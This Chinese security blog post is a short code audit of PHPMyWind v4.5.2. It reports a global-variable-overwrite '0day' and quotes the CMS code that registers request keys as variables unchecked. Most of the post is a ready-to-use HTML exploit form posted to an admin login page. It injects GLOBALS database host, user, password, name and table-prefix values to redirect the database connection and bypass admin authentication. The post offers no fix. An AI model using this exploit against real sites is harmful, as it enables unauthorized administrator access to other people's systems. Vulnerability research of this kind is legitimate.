代码审计：PHPMyWind v4.5.2 全局变量覆盖0day |

  • A+
所属分类：Seay信息安全博客

显示不全请点击全屏阅读

代码：
  
define(‘PHPMYWIND_INC’, preg_replace(“/[\/\\\\]{1,}/”, ‘/’, dirname(__FILE__)));
define(‘PHPMYWIND_ROOT’, preg_replace(“/[\/\\\\]{1,}/”, ‘/’, substr(PHPMYWIND_INC, 0, -8)));
define(‘PHPMYWIND_DATA’, PHPMYWIND_ROOT.’/data’);
define(‘PHPMYWIND_UPLOAD’, PHPMYWIND_ROOT.’/uploads’);
define(‘PHPMYWIND_BACKUP’, PHPMYWIND_DATA.’/backup’);
define(‘IN_PHPMYWIND’, TRUE); //发放登入牌
 
 
//检查外部传递的值，将// ‘ “”类型数据进行转义
function _RunMagicQuotes(&$strvar)
{
 if(!get_magic_quotes_gpc())
 {
  if(is_array($strvar))
  {
   foreach($strvar as $_key => $_value) $strvar[$_key] = _RunMagicQuotes($_value);
  }
  else
  {
   $strvar = trim(addslashes($strvar));
  }
 }
 return $strvar;
}
 
 
//直接应用变量名称替代
foreach(array(‘_GET’,’_POST’,’_COOKIE’) as $_request)
{
 foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
 
 
//Session保存路径
$sess_savepath = PHPMYWIND_DATA.’/sessions/’;
if(is_writable($sess_savepath) && is_readable($sess_savepath))
{
 session_save_path($sess_savepath);
}
 
 
//上传文件保存路径
$cfg_image_dir = PHPMYWIND_UPLOAD.’/image’;
$cfg_soft_dir  = PHPMYWIND_UPLOAD.’/soft’;
$cfg_media_dir = PHPMYWIND_UPLOAD.’/media’;
 
 
 
//系统版本号
$cfg_version = file_get_contents(PHPMYWIND_DATA.”/update/version.txt”);
 
 
//全局配置文件
require_once(PHPMYWIND_INC.’/config.cache.php’);
 
 
//全局常用函数
require_once(PHPMYWIND_INC.’/common.func.php’);
 
 
//引入数据库类
require_once(PHPMYWIND_INC.’/conn.inc.php’);
 
…..略
 
有部分是抄dede的  而dede有检测key中是否包含GLOBALS等关键字。只是没考虑多维
而在本文中给出的代码中并没有任何检测。导致GLOALS被注册
 
 
 
exp:
 
 
<html>
<head><title>PHPMyWind Exp</title></head>
<body>
 
<div> <div>  <form name=”login” method=”post” action=http://www.site.com/act/admin/login.php onSubmit=”return CheckForm()”> 
<input type=”text” name=”username” id=”username” maxlength=”20″ /> 
<input type=”password” name=”password” id=”password” maxlength=”16″ />
      <input type=”text” name=”GLOBALS[db_host]” value=”localhost” maxlength=”16″ />
           <input type=”text” name=”GLOBALS[db_user]” value=”root” maxlength=”16″ />
         <input type=”text” name=”GLOBALS[db_pwd]” value=”123456″ maxlength=”16″ />
           <input type=”text” name=”GLOBALS[db_name]” value=”db_name” maxlength=”16″ />
         <input type=”text” name=”GLOBALS[db_tablepre]” value=”pwm_admin” maxlength=”16″ />
                           
   <div>    <input type=”text” name=”validate” id=”validate” maxlength=”4″ />  

 <span><img id=”ckstr” name=”ckstr” src=”../data/captcha/ckstr.php” title=”看不清？点击更换” align=”absmiddle”

style=”cursor:pointer;” onClick=”this.src=this.src+’?'” /> <a href=”javascript:;” onClick=”var v=document.getElementById

(‘ckstr’);v.src=v.src+’?’;return false;”>看不清?</a></span></div>   <div></div>   <input type=”submit”

class=”login_area_btn” value=”提交” style=”cursor:pointer;” />   <input type=”hidden” name=”dopost” value=”login” /> 

</form> </div>
 
 
</body>
</html>
 
 
作者：Samy      出处：http://hi.baidu.com/0x7362/blog

Tags：

PHPMyWind 0day,

如果您喜欢我的博客，欢迎点击图片定订阅到邮箱填写您的邮件地址，订阅我们的精彩内容： 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你，也可微信扫下方二维码打赏本人一杯咖啡
代码审计：PHPMyWind v4.5.2 全局变量覆盖0day |